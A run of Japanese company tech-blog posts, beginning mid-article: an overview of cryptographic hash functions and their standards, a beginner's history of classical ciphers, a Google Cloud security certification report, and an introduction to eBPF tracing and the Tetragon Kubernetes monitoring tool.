このように、一般的には第二原像を見つけることより衝突を見つけることの方がずっと簡単です。

暗号技術の標準化を目指す組織とハッシュアルゴリズムの種類

このような暗号技術に関して、その安全性を監視・評価している機関が国内外にあります。

本資料で参考にしている NIST（National Institute of Standards and Technology：アメリカ国立標準技術研究所） は、ITL(Information Technology Laboratory：情報技術研究所) という研究部門で、このセキュリティに関する標準化をおこなっています。

日本では、CRYPTREC（CRYPTography Research and Evaluation Committees：暗号技術評価委員会） という機関が、国内の電子政府推奨暗号の安全性を評価・監視しています。

NISTは標準のハッシュ関数として、 FIPS 180-4 と FIPS 202 を公開しています。日本国内でも、電子政府推奨暗号リストとしてこれらの利用を公開しています。

FIPS 180-4では、以下の7つが推奨されるハッシュ関数として規定されました。なお、2011年にはSHA-1の使用を非推奨にする発表を出し、2022年12月にはSHA-1を廃止する発表が出ています（参考）

• SHA-1
• SHA-2（SHA-224, SHA-256, SHA-384, SHA-512, SHA-512/224, SHA-512/256）

SHAの後ろについている数字がハッシュ関数の出力ビット数です。SHA-256は長さが256ビットのハッシュ値を返す、という形です。これらは要求されるセキュリティレベルによって使い分けられます。

FIPS-202では、SHA-2に加えてSHA-3が追加されました。SHAKEはSHA3を拡張したハッシュ関数で、出力のハッシュ値をセキュリティレベルに応じて変更できます。

• 固定長を返すハッシュ関数： SHA3-224, SHA3-256, SHA3-384, SHA3-512
• 可変長を返すハッシュ関数： SHAKE128, SHAKE256

ハッシュ関数の歴史

ここでは主なハッシュ関数の歴史に触れます。画像は参考図書にも掲載されているものです（引用元）

• 1992年にMD5が登場しましたが、暗号学的ハッシュ関数ではなかったこともあり、12年後に衝突困難性が破られてしまいました。メッセージから固定値(128bit)のハッシュ値を生成します。この関数は高速で単純だったことから、メッセージの整合性確認などで広く用いられたようです。
• SHA-1は1995年に標準化され、理論的な攻撃可能性の提案に10年かかり、2017年には衝突困難性が破られました。先述の通り、2011年にはSHA-1の使用を非推奨にする発表を出し、2022年12月にはSHA-1を廃止する流れになっています。
• SHA-2は2001年に標準化され、その中のSHA-256は現在も推奨暗号として広く利用されています。
• SHA-3は、SHA-1の攻撃突破が危惧された頃に、これまでとは異なる構造のアルゴリズムが必要になるだろうという危惧から考えられたハッシュ関数群です。しかし幸いなことにSHA-2の衝突困難性がなかなか破られておらず、あまり積極的には利用されていません。

SHA-2, SHA-3の理論的な側面まで深掘りをしたかったのですが、それを書くには余白が足りず 細かくて時間が足りないので、ここでは割愛します。気になる方は、参考書籍やNISTのFIPSの資料、および参考書籍の巻末に掲載されている資料を参照してください。

暗号技術の安全性とは

暗号技術をせっかく使うなら、理想的には「どうやっても絶対に破られない暗号」を使いたいです。しかし、小さな秘密鍵を使って大きな平文を暗号化しようとする以上、理論的にこのような理想の暗号技術を作ることはできません。そこで、「理想の安全性はないけれども現実的には破れないだろう」という暗号を考え、それを測る指標として「セキュリティパラメータ」というもので計算コストを考えます。

例えば、共通鍵暗号では鍵長が N ビットであればその種類は 通りあるので、ブルートフォース法（しらみつぶしにパターンを試す）での計算量が となります。鍵長が 128 ビットであれば、これはおおよそ の計算量で、これはスーパーコンピュータでも数兆年はかかる程度の計算量です。そのため、これは現実的には安全だろうと考えられます。

ハッシュ関数では、衝突困難性を破るのに必要なコストはおおよそ になっています。SHA-256は256ビットのハッシュ値を返すため、128ビットセキュリティになります。参考図書によれば「現在は128ビットセキュリティなら数十年は安全だろう」と考えられているそうです。それもあり、SHA-256は十分なセキュリティ要件を持ちつつ使いやすいということから広く利用されているようです。

SHA-512の方が安全なのに、なぜSHA-256の方が広く利用されているのか？ という点については、次のような背景があるようです。

• SHA-512の方がより安全ではあるが、SHA-256でも現時点では十分なセキュリティレベルがあり、かつその方がリソース使用量が小さくて済むため
• 広く利用されており、他のシステムやプロトコルとの互換性があるため
• 暗号技術が広く利用されているのはそれだけ検証が多くなされていることでもあり、信頼感があるため

なお参考書籍によると、SHA-256およびSHA-512での内部構造を追っていくと、64ビットCPUで大きなデータを扱う場合には内部処理過程の関係でSHA-256よりSHA-512の方が高速に計算できるようです。これは知らなかったので、内部構造を知って驚きました。

なお、このような安全性というのはあくまで「現在の技術・攻撃手法の範囲で」安全というものであり、未来永劫安全というわけではありません。例えば、昨今発展している量子計算機を用いるとSHA-2の攻撃可能性が進展している研究もあります。また、よりよい攻撃手法が発見されて、セキュリティパラメータが下がる可能性もあります。ある日突然攻撃手法が発展し、人類は思い出した…ということになる可能性もあるので、注意は必要です。

まとめ

本稿では暗号学的ハッシュ関数について整理し、その種類および歴史を追いました。自分はSHA-256には馴染みがありましたが、SHA3についてはあまり知らず、本稿を書く際に色々と学ぶことができて良い機会となりました。

あまり実装的な内容は書かないとのことなので、今回はコードについても記載していません。例えばGo言語では、SHA-256などは crypto パッケージに含まれているので、ご参照ください。

詳細を書ききれていないところも多くあるため、引用資料先のページなども参考にしていただけると幸いです。それでは快適なハッシュライフ(?)をお送りください。

終わりに書籍の紹介

本書は広く「暗号と認証」をテーマに解説している参考書です。全部で9章で構成されており、各章がいくつかのセクションごとに分かれていてまとめもあるため、テンポ良く読み進めることができます。

第3章から「共通鍵暗号」「公開鍵暗号」「認証」の解説があり、最終章には「高機能な暗号技術」と題してゼロ知識証明や量子コンピュータなどの解説がされます。

個人的に思う本書の大きな特徴は、数式の解説も交えて暗号技術を解説するという点にあると思います。離散対数問題や楕円曲線暗号といった、高度な暗号技術を学ぶために必要な概念の基本も説明されています。暗号技術を学ぶにはどうしても高度な数学が絡みますが、本書はその部分をなるべく平易に解説していて、暗号技術を学習するハードルを下げている点が高評価です。

ただし、その分読み手を選んでしまう本かなという印象です。理系出身の方や、基本情報技術者試験などを経てより詳細に暗号技術について知りたい、という意欲のある方には良いかもしれません。巻末も充実しているので、本書を起点にさらに深く学習していくのに役立つ本だと思います。

本記事はこれで終わります。最後まで読んでいただきありがとうございました。

アイキャッチ画像はBing Image Creatorを利用しました。

秋のブログ週間2023 の4本目です。

こんにちは。金融グループ所属、新卒2年目の斎藤大樹です。

社会人になってから勉強する時間をなかなか取れていないなと思い、暗号の基礎と、暗号の進化の歴史を勉強してみました。
暗号をテーマに選んだ理由は、先日プロジェクト内の定期勉強会で先輩社員の方が暗号・認証についてお話してくれたのが興味深かったからです。

書籍の紹介

今回の勉強のお供は「Pythonでいかにして暗号を破るか」というソシム社出版の本です。
内容はどちらかというと古典暗号よりですが、暗号の基礎と歴史を学ぶにはもってこいです。
暗号だけでなく、Pythonの解説も豊富で、ソースコードも章が進むごとにレベルアップしていく構成になっているので、Pythonの初学者の方にもおすすめの一冊です。

暗号とは何か

本書によれば、暗号を構成する要素は「アルゴリズム」と「暗号鍵」の2つです。

暗号文は受信者が平文（暗号化される前の元の文章）を読み解けなければ意味がないので、出鱈目に作っていいわけではなく、どんな暗号文も一定のルール・決まり事をもとに作られています。このルールが暗号におけるアルゴリズムです。子供の頃に独自の暗号のルールを考え、暗号文を友達と交換して遊んだことのある方もいるのではないでしょうか。

一方、暗号鍵はその文字通り暗号文を解いて平文に戻すための鍵になります。鍵の形は数字だったり、文字列だったりと様々です。

ハッカーから身を守る上で重要なのは、ハッカーに「鍵」を知られないことです。ハッカーは暗号化のアルゴリズムは熟知しており、暗号を解く暗号鍵だけ知らないと考えなければなりません。鍵がいかにバレにくいかが、暗号の強固さの指標になります。

暗号の進化の歴史を辿る

それでは、本書で紹介されている暗号をいくつかピックアップしながら、暗号の進化の歴史を辿っていきたいと思います。また、本書のタイトルは「Pythonでいかにして暗号を破るか」ですから、暗号のハッキング方法も簡単に紹介していきます（※法に触れるようなものではございません）

シーザー暗号

アルファベットをシフトすることで、メッセージの各文字を別の新しいを文字に置き換える暗号です。シーザー暗号においては、アルファベットをいくつ右にシフトするかの数字が暗号鍵になります。表1に鍵10でにアルファベットが変換した例を示します。シフトした結果がZを超えてしまった場合はAに戻ります（ラップアラウンド）。例えば、鍵10のときに「FUTURE ARCHITECT」という文字列を暗号化すると、「PEDEBO KBMRSDOMD」になります。

表1：シーザー暗号の鍵10で暗号化した例

シーザー暗号のハッキングは簡単です。英語の文章の場合はアルファベットが26個なので、考えられる鍵の総数は25個です。短い文章であれば、25通り試せばいいだけですので、手作業でも簡単に解読できそうです（このように考えられる鍵をすべて試すような解読の手法は総当たりと言います）。もし日本語の場合はアルファベット（ひらがな、カタカナ、漢字）の個数が多いので手作業での総当たりは難しそうですが、コンピュータがあれば短時間で解読可能です。

シーザー暗号の名前の由来は、「ブルータス、お前もか」の格言でおなじみのジュリアス・シーザーです。シーザーは2000年前の軍人ですから、こんな大昔から暗号という概念があったというのは驚きです。

乗法暗号とアフィン暗号

シーザー暗号では鍵の値だけアルファベットを加減算して文字を変換しましたが、乗法暗号ではアルファベットのインデックスに鍵の数をかけ合わせます。例えば、鍵5で文字Cを暗号化させたい場合、Cのインデックス2に鍵5をかけて、暗号化された文字のインデックス2×5=10を得ます。インデックス10に対応する文字はKです。

表2に、鍵5を使ってアルファベットA～Zを暗号化させた例を示します。シーザー暗号と同様に、暗号化後の文字がZを超える（インデックスが25を超える）場合はAに戻ります。このラップアラウンド処理の計算は「（インデックス×鍵） mod（アルファベットの個数）」で計算できます。例えば、鍵5のときに「FUTURE ARCHITECT」という文字列を暗号化すると、「ZWRWHU AHKJORUKR」になります。

乗法暗号を単独で使用すると、インデックス0の文字は暗号化後も同じ文字になってしまいます。そのため、乗法暗号で暗号化したのちに、シーザー暗号でさらに暗号化してやることで、より強力になります。このステップで作られた暗号はアフィン暗号と呼ばれます。

表2：乗法暗号の鍵5で暗号化した例

26文字のアルファベットに対するシーザー暗号の鍵の個数は25個しかありませんでしたが、アフィン暗号では2つの鍵を組み合わせるため、鍵の総数は数百通りとなります。このように、アフィン暗号はシーザー暗号よりは遥かに安全になったものの、総当たりによるハッキングはまだまだ容易に出来てしまいます。

単一換字式暗号

シーザー暗号やアフィン暗号のように鍵の総数が少ない暗号は総当たりが容易です。その問題を解決するのが単一換字式暗号です。
単一換字式暗号では変換後の文字を、送信者が「AはYに、BはJに変えよう」という具合に、重複のないように任意に決定します（重複があると、復号の時に困ってしまいます）。「え、そんなのでアルゴリズムって呼べるの？」という気もしますが、26文字のアルファベットを暗号化する場合の鍵の総数は通りと膨大で、通常のコンピュータでは解読に数年かかります。

暗号化のポイントは、「鍵をハッカーにバレてはいけない」ことですから、鍵の数が多いということはシンプルながら非常に強力な暗号になります。単一換字式暗号は総当たり攻撃には強い一方で、頻度解析や単語パターン解析には弱く、ハッキングされやすいといった欠点もあります。

ヴィジュネル暗号

総当たり攻撃、頻度解析、単語パターン検索に強い、夢のような暗号が1553年に発表されました。これがヴィジュネル暗号（多表換字暗号）です。古典暗号の中では最も強力な部類で、19世紀まで解読されることがなかったようです。

ヴィジュネル暗号の鍵は単一英単語のような文字列で、この文字列が複数の1文字の鍵（サブ鍵と呼ぶ）に分割され、平文を暗号化します。各サブ鍵は整数（インデックス）に変換され、シーザー暗号の鍵として扱います。例えば、文字Cはシーザー暗号の鍵2に対応します（表1を参照）。

例えば、「FUTURE ARCHITECT」という文字列を鍵「DOG」で暗号化すると「IIZXFK DFIKWZHRZ」になります。
暗号化の仕組みを表3に示します。1文字目の「F（インデックス5）」は「D（インデックス3）」により右に3シフトするので「I（インデックス8）」に変換されます。次の文字U、Tも同様にO、Gを使って変換していきます。鍵「DOG」は3文字なので、4文字目はまたDに戻る…という要領です。シーザー暗号と同様、Zを超えた場合はAに戻ります。

表2：ヴィジュネル暗号の鍵DOGで暗号化を行う例

ヴィジュネル暗号の鍵は長ければ長いほど安全です。
「DOG」のように3文字の鍵で暗号化する場合の鍵の総数は通りしかありませんが、もし20文字の鍵を使う場合の鍵の総数は約通りにもなり、総当たりでの解読は現実的ではなくなります。鍵の長さが1つ増えるたびに、鍵の候補数が26倍に増えるのが、ヴィジュネル暗号の強みです。

ヴィジュネル暗号の弱点は、鍵に周期性があることです。例えば、「THE CAT IS OUT OF THE BAG」を鍵「SPILLTHEBEANS」で暗号化すると「LWMNLMPWPYTBXLWMMLZ」になります。太字で記したように、暗号文で文字列LWMが2回反復しているのが分かります。これは、平文の単語THEが同じ鍵SPIで暗号化されたからです。例文は簡単な例ですが、ヴィジュネル暗号ではこのように同じ文字の反復が現れるので、この反復の間隔を調べることで鍵長を推定出来ます。鍵長の推定が出来たら、頻度分析にかけていき、鍵の候補をさらに絞り込んでいきます。鍵の候補が絞り込めれば、後は総当たりにかけてやることで、この強力な暗号も解読されてしまいます。

ワンタイムパッド暗号

ヴィジュネル暗号の弱点を補い、解読不可能となった暗号がワンタイムパッド暗号です。ワンタイムパッド暗号は次の3つの条件を満たします。

1. ヴィジュネル暗号において、鍵は暗号化するメッセージと同じ長さを持つ。
2. 鍵は真にランダムである
3. 鍵はメッセージの暗号化に一度だけ使用し、再び使用しない

鍵長がメッセージ長と等しい場合、平文の各文字にサブ鍵が一意に使われ、各文字は同等の確率で任意の文字に置き換えられるため、周期性が失われ頻度分析にも強くなります。

例えば、「FUTURE ARCHITECT」の文字列を鍵「KLABIITPFQWZLGN」で暗号化すると、「PFTVZMTGHXESPIG」になります。「FUTURE ARCHITECT」は15文字なので、鍵の総数はです。実は、ハッカーがこれを総当たり出来る強力なコンピュータを持っていても、ワンタイムパッド暗号は解読できません。それは、どの暗号文でも、すべての平文が等しく候補となりうるためです。

どういうことかというと、例えば上で得られた暗号文「PFTVZMTGHXESPIG」を鍵「KLABIITPFQWZLGN」で復号すれば「FUTURE ARCHITECT」になりますが、別の鍵「MXYRIULBZVEZHUT」で復号すると、全く別の単語「DIVERSIFICATION（多様化）」になります。

多くの暗号が解読されやすい理由は、分かりやすい英語に復号する鍵が通常1つしかないからですが、ワンタイムパッド暗号では全く異なる2つ以上の平文から同じ暗号文が得られてしまうため、ハッカーがいかに強力なコンピュータを持っていようが元のメッセージがどれであるか判定できません。

公開鍵と秘密鍵

暗号の歴史を追ってきて、絶対にハッキング不可能な暗号が出来ることが分かりました。しかしこれで終わりではありません。送信者が暗号文を相手に送るとき、受信者が暗号文を解読できるように鍵を一緒に渡さなければなりません。暗号がどれだけ強力であっても、鍵ごとハッキングされたらどうでしょうか。メッセージは簡単にハッカーに知れ渡ってしまいます。

この問題を解決するのが公開鍵暗号方式です。今まで記述した暗号では、暗号化と復号に同じ鍵を使っていましたが、公開鍵暗号方式では暗号化と復号に異なる鍵を使います。そして、暗号鍵で暗号化されたメッセージは、それと対となる復号鍵だけで復号できます。暗号鍵ではメッセージを解読できず、世界中で共有できるので公開鍵と呼ばれています。一方で、復号鍵は誰にもバレてはいけないので秘密鍵と呼ばれます。

例えば、AがBにメッセージを送りたいとき、AはBから公開鍵を受け取り、その公開鍵を使ってメッセージを暗号化します。公開鍵はメッセージを復号できないので、他の人にバレても問題ありません。
BはAから暗号化されたメッセージを受け取ると、自分の秘密鍵でそれを復号します。Bだけが、Bの公開鍵で暗号化されたメッセージを復号できる秘密鍵を持っているのです（秘密鍵は他の人にバレてはいけません）。

BがAに返信したい場合、今度はBがAの公開鍵を使ってメッセージを暗号化します。AはBから受け取った暗号文を、Aの秘密鍵を使って復号します。

このように、公開鍵暗号方式では、メッセージをハッカーに傍受される心配をせずにメッセージを交換できます。

さいごに

今回は、暗号について知らない初心者が、暗号の歴史を辿っていくという内容でした。

記事では紹介できませんでしたが、書籍には教科書的RSA暗号を用いた公開鍵・秘密鍵の作成についても触れられていますので、この記事で興味を持っていただけましたら、ぜひ手に取ってみて下さい。

久々にガッツリ勉強しましたが、自分の知識が少しでも増えていくのを感じられるとやはり楽しいですね。せっかく暗号の基礎を勉強できたので、今度は公開鍵暗号の課題でもある認証についても学んでみたいと思います。

最後まで読んでいただき、ありがとうございました。

アイキャッチはCaesar cipher - Wikipediaより、シーザー暗号の換字ディスクを利用させていただきました。

次は木元さんの プロになるためのWeb技術入門」を新人が読んでみたです。

はじめに

TIG 岸下です。

これまでのプロジェクトでは組織全体のGoogle Cloudプロジェクトを包括的に見る業務に携わっており、主にIAMやネットワークを含むGoogle Cloud環境上の治安維持のような仕事を担ってきました。今回はその経験値を測るべくProfessional Cloud Security Engineer認定資格を受けてきました。

無事に合格を果たすことができたので、本記事では学習内容などの過程を書いていこうと思います。

また本試験はGoogle Cloudパートナー企業向けのバウチャーを活用して受験しました。大変感謝しております！

Google Cloud 認定資格関連の過去記事：

• 【合格記】Google Cloud Professional Data Engineer認定資格を振り返る
• 【合格記】Google Cloud Professional Machine Learning Engineer認定資格を振り返る
• Google Cloud Professional Cloud Architectの再認定に合格しました
• GCP Professional Cloud Network Engineer に合格しました
• GCP Associate Cloud Engineer 合格記

試験と出題範囲

公式の出題範囲と、実際に自分が受けた際の所感は以下になります。

クラウド ソリューション環境内のアクセスの構成

• IAMによるサービスへのアクセス制御
  • 組織IAM・フォルダIAM・プロジェクトIAM・リソースIAMのすみわけ
  • 継承の理解
    • どの階層のIAMが適用されるのか？
• 組織ポリシーの理解
  • Service Account作成の制限やCloud Storage Bucketの公開制限など、プロジェクト全体のリソースを制御
• プロジェクトやフォルダの分け方のベストプラクティス
  • 例：部署ごとにフォルダ分けをして、その中にプロジェクトを作成するなど
    • エンタープライズ企業のベスト プラクティス
• Cloud Identityによるユーザー管理
  • グループを利用したユーザーの管理
  • Google Cloud Directory Syncを利用したADサーバーとGoogle Cloudの統合

ネットワーク セキュリティの構成

• 以下のGoogle Cloudネットワークの暗黙のFirewallルールは絶対に覚えておきましょう
  • INGRESSは全て拒否
  • EGRESSは全て許可
• Firewall全般
  • Priority値の高低と優先度の関係
  • ネットワークタグ・サービスアカウントを活用したFirewallルール
• VPC Peering/Cloud VPN/Cloud Interconnectの使い分け
  • Cloud InterconnectはさらにPartner/Dedicatedで用途が分かれる

データ保護の確保

• VPC Service Controlによるデータ保護
  • プロジェクトに対して各種サービスのAPI実行を制限し、データの持ち出し・持ち込みを防ぐ
  • 拙著も参考にしてみて下さい：VPC Service ControlでGoogle Cloud環境をガッチリ守る
• Cloud DLP(Data Loss Prevention)の活用
  • 個人情報に対する適切な暗号化
  • 暗号化は復元する必要があるのか否かによって手法が変わる
    • 決定的暗号化 or 完全なマスキング

クラウド ソリューション環境内のオペレーションの管理

• Cloud KMSを利用した暗号鍵の保管
  • Envelop encryptionは勿論、それに関わる以下の用語は説明できるようにしておきましょう
    • CMEK
    • CSEK
    • DEK
    • KEK
  • どうやって暗号鍵を保管しておきたいのか？
• Secret Managerの活用
  • API keyなどはSecret Managerに保存しておきましょう

コンプライアンスの確保

• 各種ログで何の情報が得られるのか？
  • Audit log
  • Data Access log
• Googleの_Default/_Requiredのログバケットとは？
  • ログバケットの構成
  • 保存期間や料金体系も異なる
• 監査ログの保管方法
  • 長期間保管したい場合はLog SinkとCloud Storageを活用してコストカット

受験までの過程

試験範囲の内容はある程度実務として経験済みだったので、勉強期間は約2週間ほどで済みました。
実務の経験として主に役立った内容は、

• IAMの基礎知識（継承など）
• IAMを最小権限に留める、IAMをグループで管理するなどのIAMのベストプラクティス
• 組織ポリシーいろいろ
• 組織・フォルダ・プロジェクトの分け方
• Google Cloudのネットワーク関連
  • Shared VPC
  • Cloud VPN
  • VPC Peering
  • Dedicated/Partner Interconnect
• Secret Mangerによる機密情報管理やCloud KMSによる暗号鍵管理
• Cloud Identityの利用

などが挙げられます。

利用した教材

最初に模擬試験をやってみたところある程度いけそうな感があったので、今回はUdemyの問題集のみ利用しました。

• Google Professional Cloud Security Engineer | 模擬試験2023年版

まとめ

今回受験してみて、中身の仕組みをあまり理解していない状態で実務で使っていたんだなーと実感しました。特にCloud KMSはよく使っていましたが、Envelop encryptionという言葉自体を知らずに使っていました。

本受験を通して、Google CloudのCloud Securityに関する網羅的な知見を得ることができたので、業務の振り返りとしてちょうどよかったです。

Google CloudのCloud Securityに取っ掛かりを得たい方、振り返りをしたい方はぜひ受けてみてください！

アイキャッチ画像はGoogle Cloud Certificationから付与されたものになります。

はじめに

数年前にクラウドネイティブ注目技術として挙げられたeBPFにかねてよりキャッチアップしたいなと思っていたので、この連載のタイミングでeBPFとその関連プロダクトに入門してみることにしました。

CNCFプロジェクト傘下のeBPFを活用したプロダクトとしてはCilium, Falcoなどが挙げられます。CiliumはKubernetesなどのクラウドネイティブな環境でネットワーク、オブサーバビリティの機能を提供するOSSなのですが、今回はそのいわばサブプロジェクト的な位置づけのセキュリティツールである、Tetragonに触ってみます。

Cilium, Tetragonの開発をメイン行っているIsovalent社は、書籍やハンズオンラボなどで自社の製品・eBPFについての学習リソースを多く提供しています。

https://isovalent.com/resource-library/books

eBPFを学ぶ書籍はいくつかあると思うのですが、今回ブログを書くにあたってはIsovalentが提供しているeBook、Learning eBPFにざっと目を通しました。

eBPF入門

eBPFとはLinuxカーネル内部で高速安全にプログラムを実行する技術です。これにより、ネットワーキング、セキュリティ、アプリケーションのカーネルレベルでの振る舞いを、カーネルをビルドしなおしたりOSの再起動をしたりせずに動的に観測・制御できます。

eBPFそのものの実態は、カーネルのイベントをトリガーとして動作するプログラムとその実行環境です。基本的にC言語で記述してeBPFのバイトコードにコンパイルされ、eBPFのVMで動きます。eBPFバイトコードはカーネルにロードされる前に検証器にチェックされるようになっており、そのおかげでカーネルをクラッシュさせたり脆弱性のもとになるバグを埋め込まず安全に実行できるようです。

eBPFを使ったツールを開発する場合、eBPFプログラムそのものと、それをカーネルのイベントソースにアタッチしてeBPFとデータをやり取りするユーザスペースのコードを書く必要があります。

実際にeBPFのサンプルプログラムを動かしてみましょう。サンプルプログラムにはBCC (BPF Compiler Collection)という、Python/LuaでeBPFを扱うことのできるツールを使います。インストール方法はこちらが参考になります。

次はHello Worldプログラムです。

#!/usr/bin/python3  
from bcc import BPF

program = r"""  
int hello(void *ctx) {
    bpf_trace_printk("Hello World!");
    return 0;
}
"""

b = BPF(text=program)
syscall = b.get_syscall_fnname("execve")
b.attach_kprobe(event=syscall, fn_name="hello")

b.trace_print()

• eBPFプログラムはヒアドキュメントで書かれた部分です。C言語の文法で書かれています。
• BPF(text=program) でeBPFプログラムを渡してBPFオブジェクトを作っていますが、このタイミングでeBPFプログラムがコンパイルされます。
• get_syscall_fname("execve")で execveシステムコール（実行可能ファイルが実行される時に呼ばれるシステムコール）に対応するカーネル関数を検索します。
• b.attach_kprobe(event=syscall, fn_name="hello") でebpfプログラムを検索したカーネル関数にアタッチします。ここではkprobeという実行中のカーネルに動的に処理を差し込むための仕組みでイベントにアタッチしています。

このPythonスクリプトを実行し、別ターミナルで ls コマンドを実行すると、lsが実行される時にexecve()が呼ばれ、それにアタッチされたeBPFプログラムが次のようなトレースを出力します。

b'           <...>-2140994 [000] d...1 556700.676560: bpf_trace_printk: Hello World!'

“Hello World” だけでなく、どのようなプロセスがトレースされているのかを表示できるようにしてみましょう。eBPFプログラムの中からプロセス名を取得するために、bpf_get_current_comm()というヘルパー関数を使ってみます。

#!/usr/bin/python3  
from bcc import BPF

program = """
#include <linux/sched.h>

int hello(void *ctx) {

    char comm[TASK_COMM_LEN];
    bpf_get_current_comm(&comm, sizeof(comm)); 

    bpf_trace_printk("%s\\n", comm);
    return 0;
}
"""

b = BPF(text=program)
syscall = b.get_syscall_fnname("execve")
b.attach_kprobe(event=syscall, fn_name="hello")

b.trace_print()

このPythonスクリプトを実行した状態で別ターミナルで ls を実行すると、bash から ls が起動したのだということがわかります。

b'           <...>-2196911 [000] d...1 567624.022345: bpf_trace_printk: bash'
b'           <...>-2196912 [002] d...1 567624.380166: bpf_trace_printk: bash'

今までトレースを出力するために bpf_trace_printk という関数を使ってきましたが、これは主にデバッグ目的で使うようなもので、PythonのユーザスペースのプログラムとeBPFプログラムの間で情報をやり取りするには、eBPF mapというデータ構造を使います。
eBPF mapとして利用できるデータ構造はいくつかありますが、今回はring bufferを使ってみます。

#!/usr/bin/python3  
from bcc import BPF

program = r"""
BPF_PERF_OUTPUT(output); 
 
struct data_t {     
   int pid;
   int uid;
   char command[16];
};
 
int hello(void *ctx) {
   struct data_t data = {}; 
 
   data.pid = bpf_get_current_pid_tgid() >> 32;
   data.uid = bpf_get_current_uid_gid() & 0xFFFFFFFF;
   
   bpf_get_current_comm(&data.command, sizeof(data.command));
 
   output.perf_submit(ctx, &data, sizeof(data)); 
 
   return 0;
}
"""

b = BPF(text=program) 
syscall = b.get_syscall_fnname("execve")
b.attach_kprobe(event=syscall, fn_name="hello")
 
def print_event(cpu, data, size):  
   data = b["output"].event(data)
   print(f"{data.pid} {data.uid} {data.command.decode()}")
 
b["output"].open_perf_buffer(print_event) 
while True:   
   b.perf_buffer_poll()

• BPF_PERF_OUTPUTの部分がリングバッファーを作成するマクロです。 output という名前で定義されています。
• bpf_get_current_pid_tgid() bpf_get_current_uid_gid() でイベントをトリガーしたプロセスのプロセスID・UIDを取得し、data_tにセットします。output.perf_submitでmapにデータを送ります。
• print_event() は バッファにデータが届いたときに呼び出されるコールバック関数です。バッファには b["output"] のようにアクセスできます。
• b["output"].open_perf_bufferでコールバック関数を登録しています。
• b.perf_buffer_poll() でバッファにポーリングしています。

このPythonスクリプトを実行し、別ターミナルでコマンドを実行してみます。

2461142 1000 bash
2461144 1000 bash
2461152 1000 bash

トレースされている情報は先ほどと同じですが、Python側のコードで出力を整えられるので見やすくなっていますね。

BPF mapは複数のeBPFプログラム間のデータのやり取りも可能です。

BCC + Pythonは初心者にとっつきやすいですが、実際にはeBPFのコードを実行時に毎回コンパイルするオーバーヘッドがあるだとか、コンパイルするホストと実行するホストが異なるとその差分に影響されてポータビリティが低いといった理由で、現在ではプロダクトの開発に使われていないみたいです。その代わりCO-RE (Compile Once- Run Everywhere)という仕組みをサポートするライブラリを使って実装されているようです。

ここまでくると次から紹介するTetragonの振る舞いやその設定方法がなんとなく理解できるようになります。

Tetragon

TetragonはもともとCilium Enterpriseの機能として提供されていたセキュリティ可観測性ツールで、2022年にOSSとして発表されました。主にKubernetesでの利用が想定されています。

主な機能としては、定義したポリシーに従ってKuberntesクラスター上のコンテナ内で実行されるプロセスのシステムコールやネットワーク関連のイベントをフィルタリングし、ログとして出力するというものです。ポリシーに応じて動的にeBPFプログラムをアタッチし、カーネル空間内で直接フィルタリングしています。

プロセス実行の監視

まずはデモを動かしてどういうことができるのか確かめましょう。kindでクラスターを作り、helmでTetragonをインストールします。

kind create cluster 

helm repo add cilium https://helm.cilium.io
helm repo update
helm install tetragon cilium/tetragon -n kube-system
kubectl rollout status -n kube-system ds/tetragon -w

# tetragonがDaemonSetとしてインストールされます。
kubectl get ds -n kube-system tetragon

次にセキュリティイベントの観測対象となる実験用のPodを作成しておきます。

kubectl run test --image=busybox -- sleep 3600

Tetragonではデフォルトでプロセスの実行に対して検知ログを出すようになっています。例えばコンテナでデバッグ用途以外でシェルが起動しているのはいかにも怪しいですが、そのようなイベントを観測できるということです。

Tetragonのログをtailしながら、別のターミナルから先ほど作ったPodで /bin/sh を動かしてみましょう。

kubectl logs -f -n kube-system -l app.kubernetes.io/name=tetragon -c export-stdout

# 別のターミナルから
kubectl exec -it test -- /bin/sh

Tetragonから以下のようなログが出力されたと思います。長いので途中を省略していますが、”binary” を見ると確かに /bin/sh が実行されていると分かります。そしてPodのMetadataとしてPod名やNamespaceコンテナイメージも出力できています。

{
  "process_exec": {
    "process": {
      "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDg3NTQ3MTA4MToyNTI5NTM3",
      "pid": 2529537,
      "uid": 0,
      "cwd": "/",
      "binary": "/bin/sh",
...
      "pod": {
        "namespace": "default",
        "name": "test",
        "container": {
          "id": "containerd://a78169cb68982bba2925460d3b3c6cbe09788168f67e102acf228037b341b20f",
          "name": "test",
          "image": {
      ...
          "pid": 13
        },
        "pod_labels": {
          "run": "test"
        }
      },
      "docker": "a78169cb68982bba2925460d3b3c6cb",
      "parent_exec_id": "a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDgxNzEwOTM3MDoyNTI5NTI4"
    },
    "parent": {
      "exec_id": "a2luZC1jb250cm9sLXBsYW5lOjY3NTM5MDgxNzEwOTM3MDoyNTI5NTI4",
      "pid": 2529528,
      "uid": 0,
...

ところで、bpftool というBPFユーティリティツールを使うと、カーネルにロードされたeBPFプログラムをリストできます。Tetragonをインストールしたノード上でリストしてみると、Tetragonをインストールした直後（ロードされた時刻も表示されるのでそこでわかります）にいくつかeBPFプログラムがロードされているようです。

bpftool prog list

...
20668: kprobe  name event_exit  tag 6ae01771cf3bfcee  gpl
        loaded_at 2023-06-04T19:11:54+0900  uid 0
        xlated 760B  jited 428B  memlock 4096B  map_ids 54302,54308,54306,54303
        btf_id 108378
20670: kprobe  name event_wake_up_n  tag 71207899142b2062  gpl
        loaded_at 2023-06-04T19:11:54+0900  uid 0
        xlated 4648B  jited 2467B  memlock 8192B  map_ids 54302,54314,54303,54301,54306
        btf_id 108387
20671: tracepoint  name event_execve  tag be83f62b7aed485e  gpl
        loaded_at 2023-06-04T19:11:54+0900  uid 0
        xlated 123200B  jited 75857B  memlock 126976B  map_ids 54327,54302,54322,54306,54320,54305,54323,54324,54303,54301,54304
        btf_id 108396
20672: tracepoint  name execve_send  tag 9db3dc5bc0c71d85  gpl
        loaded_at 2023-06-04T19:11:54+0900  uid 0
        xlated 1040B  jited 626B  memlock 4096B  map_ids 54327,54302,54324,54303,54306
        btf_id 108397
...

そのうちの1つ、20671: tracepoint name event_execve tag be83f62b7aed485e gpl は、その名前から察するに execve システムコールをトレースしているようです。先ほどのサンプルコードと似ていますね。これらのeBPFプログラムたちがプロセスの起動やexitを監視しているみたいです。

eBPFのソースコードはおそらくこのあたりでしょう。先ほどのサンプルコードと違う部分として、kprobeではなく静的なイベントソースであるTracepointという仕組みにアタッチされていたり、複数のeBPFプログラムが組み合わさっていたりします。

